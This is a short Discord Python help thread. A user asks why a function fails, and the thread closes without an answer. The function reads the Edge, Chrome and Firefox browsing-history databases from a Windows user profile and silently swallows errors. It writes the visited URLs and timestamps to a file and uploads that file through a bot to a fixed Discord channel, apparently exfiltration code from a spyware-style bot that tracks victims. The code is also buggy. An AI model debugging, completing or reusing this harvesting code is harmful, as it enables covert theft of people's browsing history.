#πŸ”’ I don't uderstand...

8 messages Β· Page 1 of 1 (latest)

tired sun
#

I don't uderstand what's the probleme with my code it's supposed to list the historique... (I test only with Google right now)

lunar rampartBOT
#

@tired sun

Python help channel opened

Remember to:

  • Ask your Python question, not if you can ask or if there's an expert who can help.
  • Show a code sample as text (rather than a screenshot) and the error message, if you've got one.
  • Explain what you expect to happen and what actually happens.

:warning: Do not pip install anything that isn't related to your question, especially if asked to over DMs.

tired sun
#
async def history(logs) -> None:
    edge_path = r"AppData\Local\Microsoft\Edge\User Data\Default\History"
    google_path = r"AppData\Local\Microsoft\Edge\User Data\Default\History"
    firefox_path = r"AppData\Roaming\Mozilla\Firefox\Profiles"
    user_profile = os.environ['USERPROFILE']
    try:    #Edge
        path = os.path.join(user_profile, edge_path)
        cursor = sqlite3.connect(path).cursor()
        cursor.execute(f"SELECT * FROM urls;")
        urls = cursor.fetchall()

        for k, v in logs.items():
            if k != "me" and v == id:
                break

        message = f"{k}[{id}]\n\n"
        for i in range(len(urls)):
            timestamp = datetime(1601, 1, 1, tzinfo=UTC) + timedelta(microseconds=urls[i][5])
            timestamp = timestamp.strftime('%d.%m.%Y %H:%M:%S')
            message += f"{timestamp} -> {urls[i][1]}\n"

        edge_history_filename = f"history_{datetime.now().strftime(r'%d-%m-%y_%H-%M-%S')}.txt"

        with open(edge_history_filename, "w") as file:
            file.write(message)
    except:
        pass
#
    try:    #Google
        path = os.path.join(user_profile, google_path)
        cursor = sqlite3.connect(path).cursor()
        cursor.execute(f"SELECT * FROM urls;")
        urls = cursor.fetchall()

        for k, v in logs.items():
            if k != "me" and v == id:
                break

        message = f"{k}[{id}]\n\n"
        for i in range(len(urls)):
            try:
                if not urls[i][5]:
                    continue

            except Exception as e: 
                print(e)

            timestamp = datetime(1601, 1, 1, tzinfo=UTC) + timedelta(microseconds=urls[i][5])
            timestamp = timestamp.strftime('%d.%m.%Y %H:%M:%S')
            message += f"{timestamp} -> {urls[i][1]}\n"

        google_history_filename = f"history_{datetime.now().strftime(r'%d-%m-%y_%H-%M-%S')}.txt"

        with open(google_history_filename, "w") as file:
            file.write(message)
    except:
        pass
    
    try:    #FireFox
        path = os.path.join(user_profile, firefox_path)
        profiles = [dossier for dossier in os.listdir(path) if os.path.isdir(os.path.join(path, dossier))]
        for profile in profiles:
            try:
                profile_path = os.path.join(path, profile,"places.sqlite")
                cursor = sqlite3.connect(profile_path).cursor()
                cursor.execute(f"SELECT * FROM moz_historyvisits;")
            except:
                pass
    except:
        pass

    await bot.get_channel(1328024942918238329).send("> Google :",file=discord.File(google_history_filename))
    os.remove(google_history_filename)
#

nvm I have to got to sleep 🦧πŸ₯²

#

!close

lunar rampartBOT
#
Python help channel closed with !close

This help channel has been closed. Feel free to create a new post in #1035199133436354600. To maximize your chances of getting a response, check out this guide on asking good questions.